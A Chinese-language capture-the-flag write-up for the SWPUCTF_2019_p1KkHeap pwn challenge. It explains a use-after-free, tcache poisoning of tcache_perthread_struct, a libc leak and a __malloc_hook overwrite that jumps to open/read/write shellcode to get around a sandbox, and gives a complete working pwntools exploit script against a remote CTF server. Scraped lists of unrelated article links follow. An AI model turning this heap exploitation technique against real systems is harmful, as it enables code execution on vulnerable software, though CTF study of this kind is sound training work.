SWPUCTF_2019_p1KkHeap

环境:ubuntu18

考点:UAF,沙箱逃逸

ubuntu18现在不能构造double free了!!!

所以我用patchelf来做

IDA逆一下

可以看到这里mmap了一块可rwx的空间

思路:UAF来泄漏tcache地址,然后tcache投毒到tcache_perthread_struct结构体,污染结构体的size链和pointer链,size全填满使得后来堆块可以逃逸结构体,然后后续可改pointer链可以分配到任意地址。

分配到结构体,free后泄漏libc的地址,因为程序加了沙箱,所以改mmap出的一块可写空间,写入orw的shellcode,然后打malloc hook,为shellcode的地址,然后当我们申请堆块的时候程序自动读flag

 1 '''
2 author: lemon
3 time: 2020-10-12
4 libc:libc-2.27.so
5 version: python3
6 '''
7
8 from pwn import *
9
10 local = 0
11
12 binary = "./SWPUCTF_2019_p1KkHeap"
13
14 if local == 1:
15 p = process(binary)
16 else:
17 p = remote("node3.buuoj.cn",28465)
18
19 def dbg():
20 context.log_level = 'debug'
21
22 context.terminal = ['tmux','splitw','-h']
23 context(arch = 'amd64',os = 'linux')
24
25 def add(size):
26 p.sendlineafter('Your Choice: ','1')
27 p.sendlineafter('size: ',str(size))
28
29 def show(index):
30 p.sendlineafter('Your Choice: ','2')
31 p.sendlineafter('id: ',str(index))
32
33 def edit(index,content):
34 p.sendlineafter('Your Choice: ','3')
35 p.sendlineafter('id: ',str(index))
36 p.sendafter('content: ',content)
37
38 def free(index):
39 p.sendlineafter('Your Choice: ','4')
40 p.sendlineafter('id: ',str(index))
41
42 libc = ELF("./libc-2.27.so")
43
44 add(0x90) #chunk0
45 free(0)
46 free(0)
47
48 show(0)
49 leak_tcache = u64(p.recvuntil('\x55')[-6:].ljust(8,b'\x00')) - 0x250
50 print("leak_tcache:",hex(leak_tcache))
51
52 add(0x90) #chunk1
53 edit(1,p64(leak_tcache))
54 add(0x90) #chunk2
55 add(0x90) #chunk3
56
57 edit(3,b'a' * 0x40) # fill in tcache about size area
58
59 free(3)
60 show(3)
61 libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00')) - 96 - 0x10 - libc.sym['__malloc_hook']
62 __malloc_hook = libc_base + libc.sym['__malloc_hook']
63 #one_gadget_list = [0x4f2c5,0x4f332,0x10a38c]
64 #one_gadget = libc_base + one_gadget_list[0]
65
66 mmap = 0x66660000
67 shellcode = shellcraft.open('flag')
68 shellcode += shellcraft.read(3,mmap + 0x200,0x30)
69 shellcode += shellcraft.write(1,mmap + 0x200,0x30)
70 shellcode = asm(shellcode)
71 print("!!!!!shellcode length:",len(shellcode))
72
73 add(0x90) #chunk4
74
75 edit(4,b'a' * 0x40 + p64(__malloc_hook) + b'a' * (0x10) + p64(mmap))
76 add(0x40) #chunk5
77 edit(5,shellcode)
78
79 add(0x10) #chunk6: __malloc_hook we use it to jump shellcode
80 edit(6,p64(mmap))
81
82 add(1)
83
84 #gdb.attach(p)
85 p.interactive()

SWPUCTF_2019_p1KkHeap的更多相关文章

  1. SWPUCTF_2019_p1KkHeap(tcache_entry)

    花了半天的时间去理解吃透这道题目,也参考了大佬的wp (1条消息) [pwn]SWPUCTF_2019_p1KkHeap_Nothing-CSDN博客. (1条消息) swpuctf2019 p1Kk ...

  2. SWPUCTF 2019 pwn writeup

    来做一下以前比赛的题目,下面两个题目都可以在buu复现(感谢赵总). SWPUCTF_2019_login 32位程序,考点是bss段上的格式化字符串.用惯onegadgets了,而对于32位程序来说 ...

随机推荐

  1. @RequiresPermissions注解的作用,超级简单的权限验证

    是shiro里面权限验证的一个注解 @RequiresPermissions(value = {"engineeringPause:download", "workCon ...

  2. C语言实现顺序表的基本操作(从键盘输入 生成线性表,读txt文件生成线性表和数组生成线性表----三种写法)

    经过三天的时间终于把顺序表的操作实现搞定了.(主要是在测试部分停留了太长时间) 1. 线性表顺序存储的概念:指的是在内存中用一段地址连续的存储单元依次存储线性表中的元素. 2. 采用的实现方式:一段地 ...

  3. java安全编码指南之:敏感类的拷贝

    目录 简介 一个简单的SensitiveObject SensitiveObject的限制 对SensitiveObject的攻击 解决办法 简介 一般来说class中如果包含了私有的或者敏感的数据的 ...

  4. python+pymysql访问mysql数据库

    今天跟大家分享两种场景的python连接MySQL方法: 场景一:连接远程MySQL 首先,安装pymysql:在命令行执行pip install pymysql指令. 然后,导入pymysql: i ...

  5. 基于vue2定义自己的图表echart组件

    先安装echarts cnpm i echarts -S,然后定义父组件 <template> <div> <echarts :option="echartOp ...

  6. 088 01 Android 零基础入门 02 Java面向对象 02 Java封装 01 封装的实现 02 封装的代码实现

    088 01 Android 零基础入门 02 Java面向对象 02 Java封装 01 封装的实现 02 封装的代码实现 本文知识点:Java封装的代码实现 说明:因为时间紧张,本人写博客过程中只 ...

  7. excel——VlookUp函数的使用

    VlookUp函数,查询两个表中的相同字段数据,并将需要引用的数据从B表填充到A表 1.打开A表,将需要查询的列选中 在需要引用的列输入 = 在上方,函数选择中选择VLOOKUP函数 Windows: ...

  8. 阿里云服务器安装mongodb并且启动

    // 1.下载 我是直接在local里面创一个mongodb文件夹进行下载和解压 curl -O https://fastdl.mongodb.org/linux/mongodb-linux-x86_ ...

  9. Makefile-3-书写规则

    目录 前言 概念 Chapter 3:书写规则 3.3 在规则中使用通配符 3.4 文件搜索 3.8 自动生成依赖性 原理 * 直接解析例子 ** sed 命令 参考 书籍 前言 本笔记主要记录Mak ...

  10. CSS元素的显示与隐藏

    CSS元素的显示与隐藏 我们访问某些网站的时候,经常可以看到一些广告弹出来,点击关闭就不见了,但是重新刷新页面后,广告又会重新弹出来.这就是元素的显示和隐藏的一个应用. 1. display属性 di ...